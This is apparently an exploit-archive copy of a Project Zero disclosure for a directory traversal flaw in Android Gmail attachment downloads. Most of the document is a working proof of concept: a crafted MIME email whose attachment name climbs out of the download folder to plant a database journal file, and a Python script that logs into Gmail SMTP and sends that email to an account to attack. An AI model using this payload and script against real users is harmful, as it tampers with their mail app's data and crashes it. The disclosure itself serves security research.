Android Gmail < 7.11.5.176568039 - Directory Traversal in Attachment Download
''' Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1342 There is a directory traversal issue in attachment downloads in Gmail. For non-gmail accounts, there is no path sanitization on the attachment filename in the email, so when attachments are downloaded, a file with any name and any contents can be written to anywhere on the filesystem that the Gmail app can access. This bug has the following limitations: 1) the email address has to be a non-Gmail and non Gmailified (Hotmail or Yahoo) account 2) the file can not overwrite an existing file, it has to be a file that doesn't already exist 3) there user has to click to download the attachment (and the path looks a bit weird on the screen) It is possible to modify a EmailProviderBody database using this bug by placing a journal file in the databases directory. Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your Gmail credentials). WARNING: this PoC will cause Gmail to crash repeatedly, and you will need to re-install it to get it to work again Content-Type: multipart/mixed; boundary="--- -714A286D976BF3E58D9D671E37CBCF7C" MIME-Version: 1.0 Subject: hello To: <address> From: natashenka@google.com You will not see this in a MIME-aware mail reader. ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: text/html <html><body><b>test</b></body></html> ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="test" 2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw= ------714A286D976BF3E58D9D671E37CBCF7C ''' import os import sys import smtplib import mimetypes from optparse import OptionParser from email import encoders from email.message import Message from email.mime.audio import MIMEAudio from email.mime.base import MIMEBase from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import subprocess import random def main(): FROM_ADDRESS = "YOUR FROM ADDRESS HERE" YOUR_CREDENTIAL = "GET A GOOGLE ACCOUNT TEMPORARY PASSWORD AND PUT IT HERE" TO_ADDRESS = "ACCOUNT TO ATTACK HERE" composed = """Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="----714A286D976BF3E58D9D671E37CBCF7C" MIME-Version: 1.0 Subject: hello image2adfdfs1 To: """+ TO_ADDRESS +""" From: """ + FROM_ADDRESS + """ You will not see this in a MIME-aware mail reader. ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: text/html <html><body><b>test</b></body></html> ------714A286D976BF3E58D9D671E37CBCF7C Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="%2e%2e%2fqpng" 2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw= ------714A286D976BF3E58D9D671E37CBCF7C""" s = smtplib.SMTP_SSL("smtp.gmail.com") s.login(FROM_ADDRESS, YOUR_CREDENTIAL) you = TO_ADDRESS s.sendmail(FROM_ADDRESS, you, composed) s.quit() if __name__ == '__main__': main() |
